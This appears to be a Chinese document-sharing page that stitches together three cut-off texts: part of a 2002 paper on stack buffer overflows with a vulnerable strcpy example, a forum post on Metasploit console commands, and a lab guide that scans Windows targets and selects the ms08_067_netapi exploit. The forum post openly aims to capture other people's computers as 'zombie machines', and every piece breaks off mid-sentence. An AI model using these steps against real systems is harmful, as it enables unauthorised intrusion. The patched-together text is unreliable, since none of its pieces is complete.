缓冲区溢出指的是一种系统攻击的手段。通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序: e xample1.c ------------- void function(char*str){ char buffer[16]; strcpy(buffer,str); } ------------- 上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(), gets(),scanf(),以及在循环内的getc(),fgetc(),get char()等。当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。 2 制造缓冲区溢出 一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是: 收稿日期:2002-10-15 作者简介:邵丹(1978-),男,2000年哈尔滨理工大学硕士研究生,研究方向:计算机网络安全。

Metasploit命令行下的使用

强大溢出工具包:Metasploit命令行下的使用https://www.sodocs.net/doc/2d7881588.html,/bbs/jsp/view.jsp?articleID=1709641 Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡. 下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat 和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到的是metasploit的欢迎界面,输入“?”查看帮助,如图1 看到很多命令吧,我们来解释一下 “?”帮助 “cd” :这个命令大家都熟悉,和WIN下面一样,切换目录 “exit”这个就是退出的意思 “info”显示当前程序信息 “quit”退出程序 “reload”加载exploit和payloads “save”保存设置 “setg”设置一个环境变量 “show”显示当前可用的exploit “ use”选择一个exp “version”显示程序版本 这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的 这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2

Return to Gallery | Original Image 看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。这就得用到info命令啦。这个命令就是显示溢出程序

Metasploit利用溢出漏洞远控Windows靶机操作指南

1 网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的Windows Server 2003系统的计算机和如图3所示的运行Windows 7系统的计算机。显然这三台计算机处于同一个网段中,可以相互通讯,Kali系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2003和Windows 7系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。 图1 Kali攻击机

图2 Windows 2003靶机 图3 Windows 7 靶机

2 扫描靶机 在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。 如图4所示,在Kali攻击机上执行Msfconsole命令,即可进入Metasploit 环境,如图5所示。 图3-4 msfconsole命令 图5 进入msf环境

现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图6和7所示,获取了靶机的开放服务和操作系统类型等信息。 图6 Windows 2003扫描结果

图7 Windows 7扫描结果 利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图8所示,Nmap利用smb-check-vulns插件扫描探测出了Windows 2003靶机存 在MS08_067漏洞。

图8 漏洞扫描结果 3 利用MS08_067漏洞渗透入侵 MS08_067是一个曾经在各种Windows操作系统中广泛存在,而且危害特别严重的缓冲器溢出类型的漏洞,利用它可以在无需知道任何账户密码,也不需要受害者配合的情况下,通过网络直接远程控制受害的计算机。 为实现Metasploit在Windows操作系统的渗透测试,Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console模式,第三个是CLI (命令行)模式。目前这三种模式各有优缺点,本文仅使用MSF console模式。因为在console中可以使用MSF 所提供的所有功能,还可以在console中执行一些其他的外部命令,如ping。 既然已经知道Windows 2003靶机存在MS08_067漏洞,下面就在Metasploit 环境中利用它进行渗透入侵。 首先,通过使用“search”命令,搜索该漏洞对应的模块,并启用该渗透攻击模块查看基本信息,然后,输入use exploit/Windows/smb/ms08_067_netapi 命令表示选择利用这个漏洞,如图9所示。 图9 选择漏洞

相关主题